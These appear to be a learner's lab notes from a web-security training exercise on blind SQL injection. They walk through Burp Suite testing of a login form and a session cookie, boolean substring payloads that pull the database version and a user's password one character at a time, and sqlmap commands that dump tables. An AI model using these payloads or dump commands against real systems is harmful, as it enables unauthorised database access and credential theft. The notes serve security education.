5. Lab - Injection 0x02
TIP: in case we use the attack browser for some other stuff as well we can configure burpsuite to use the proxy only for the filtered targets in scope.
Burp -> Settings -> Project -> Scope
Steps:
Try first the functionality to capture the request in burpsuite
After that we will use the repeater to play with it and send different data to see what kind of responses we get.
First try something that might be broken:
username=jeremy&password=passwordreturns an error
Then try as usual the always true syntax with:
username=jeremy' or 1=1#&password=passwordusername=jeremy" or 1=1#&password=passwordTo perform a Blind SQLi we need to encode the syntax as to avoid potential guards put in place by the developer.
' or 1=1#" or 1=1#Only these parts need to be encoded in order to see what responses we get and ofc we get some errors in this case.Tip: Easy way to encode (Ctrl + U) / to decode (Ctrl + Shift + U)
**IMPORTANT: The trick is that we need to write the correct syntax for SQL to actually run. **
So how do we automate this process? - tools like sqlmap
Select All and Copy the capture
Create a file with the request "req.txt"
To use sqlmap:
sqlmap -r req.txtAfter sqlmap initializes the attack it will ask us if we want to reduce the number of tests which is ADVISABLE on big target scopes, however in our example we can leave it run.
NOTE: the reduction actually will go and test only for union select statement to not run forever :)
Result of this payload tells us that none of the parameters is actually injectable which leads us to 3 other options to do
Go back to manual testing
Download a list of payloads and try to fuzz it ourselves
Check other potential SQL Injection points
This time and recommended for beginners (advanced might be different depending on the case) - is to actually check the captured request in burpsuite to see what other data can we find in this situation.
NOTE: When you think about SQL Injection think about every piece of data you supply to the application and how it is used by the application - it is a good idea to analyze the POST and GET requests to identify this usage.
Example: In this case we can see for example that the cookie is present in both POST and GET requests which shows us that this cookie is potentially used in some way in the backend to process something or some information.
We can also check for other things that the server might use even the User-Agent can be used on the server side, it's possible for example the server to capture the data of the browser we are using and depending on that to use for example a specific plugin or service implemented on backend (makes me think of moz-kit for mozilla for some old websites).
In this case again we will proceed to test the SQLi on the cookie itself.
Steps:
We capture the GET request this time to see what we're shown.
We inject the payload on the cookie "session" that is being passed.
' or 1=1#IMPORTANT By verifying the Content-Length as previously we can observe that we get the same result as in the case of normal logging in of the user - from here we figure out that the passing of the cookie parameter is vulnerable to SQLi.
When testing the cookie that is passed we find out that the http response from SQL changes the behavior, but so far we find that the SQLi on the cookie validates just injections that answer true or false question. It doesn't seem so far that we can actually exfiltrate data the normal way like just using a UNION SELECT as we did in the previous example.
What's next?
In this case since we can only verify answers to true or false queries we need to find a way to observe what can we find about the user.
For example a test that we can do is to verify the answer to questions like:
"Is the first character of jeremy's password A?" - and then get the answer of TRUE or FALSE.
"Is the password longer than 20 characters?"
Task 1: Create a query that gets the DB version character by character
For this we will use the SQL function substring SUBSTR (string, start, length)string - the value of the string that we are targeting.start - the position of the first character we are starting from 0 - ...length - the number of characters we will subtract from the string starting with the first position.
First we will do a simple test to see if we get a good result by injecting the SUBSTR query:
' and substring('a', 1, 1) = 'a'#Content-Length returns again 1027 which we know is a good result.Another thing that should still work is checking now if we do substr on a proper string like "alex"
' and substring('alex', 1, 1) = 'a'#And of course it works as Content-Length returns 1027.Now for testing the second character we will notice we get a fail (Content-Length: 1928)
' and substring('alex', 2, 1) = 'a'#
We can play around with these examples to get a feel of how substring works however what we are trying to do is to compare something in BLIND to what exists in the database.
For now we will do a simple test on checking over the version of the database to see if we can find some info on that.
' and substring((select version()), 1, 1) = '7'#And this will return a Content-Length: 1928 which means that this is not the correct first character of the DB version.Repeat test now with value 8.
' and substring((select version()), 1, 1) = '8'#Returned Content-Length is 1027 which means that we guessed correctly this time the version of the db.We can rinse and repeat now and test for the other characters since we know the style of MariaDB versioning we can check for 8.0 / 8.1 ... and then 8.0.1 / 8.0.2 and ofc we will get a match on 8.0.3
' and substring((select version()), 1, 5) = '8.0.3'#Now let's see if we can extract jeremy's password
' and substring((select password from injection0x02 where username='jeremy'), 1, 1) = 'j'#
Although this would be the correct manual way to test since we already know jeremy's password and ofc we get a Content-Length of 1027.
It would be a lot of hassle to actually go manually and figure out each character of jeremy's password and we would need some kind of way to automate this process.
Automation
Method 1: burpsuite
Using burpsuite to get each character.
Copy what we got so far in the repeater:
' and substring((select password from injection0x02 where username='jessamy'), 1, 1) = 'Β§bΒ§'#Target payload on the specific character and use a list of a-z / 0-9 chars.
Again we verify in this case by Content-Length - the only unique one is 1347 and we get that "z" would be the specific character we are looking for, iterating this for all the characters might take a bit but we could rinse and repeat to finally find the whole password.
Method 2: sqlmap
Get the request copy from repeater.
Paste into a text file - req2.txt
sqlmap -r req2.txt --level=2-> set --level=2 in order to be able to inject the cookie.Question 1: do you want to URL encode cookie values? - N (we tested the sql injection without encoding and it worked).
Question 2: Do you want to skip specific tests for other databases? - Y (we know that this is a mysql db so no need to overcomplicate the script now).
Question 3: Do you want to include all tests for 'MySQL' extending provided level (2) and risk (1) values? - Y
Question 4: do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] n
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] n
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
In this case we got a response that the cookie is vulnerable and that we can use the following payload:
Payload: session=6967cabefd763ac1a1a88e11159957db' AND 3309=3309 AND 'XFVl'='XFVl
NOTE: This response is something we could actually use in a bug bounty report.
Now let's try dumping the database
sqlmap -r req2.txt --level=2 --dump-> this will actually dump the whole db not just this exercise
USE for this exercise: sqlmap -r req2.txt --level=2 --dump -T injection0x02
And voila the sqlmap dumped the data in the database:
![[Pasted image 20231105181852.png]]
In order to find a bug like this we can take multiple approaches depending on our needs we could do it with:
burpsuite repeater then intruder - setup specific payloads from there.
We can use ffuf or wfuzz(?) to fuzz and find the sqli
We can use sqlmap for easier automation as we saw in the example above.
IMPORTANT NOTE: We need to figure out what is the best course of action to take based on the needs of our situation. For example sqlmap would be a bad idea to fire in case we're doing a bug bounty where we are limited in scope for example to 5 requests per second!!!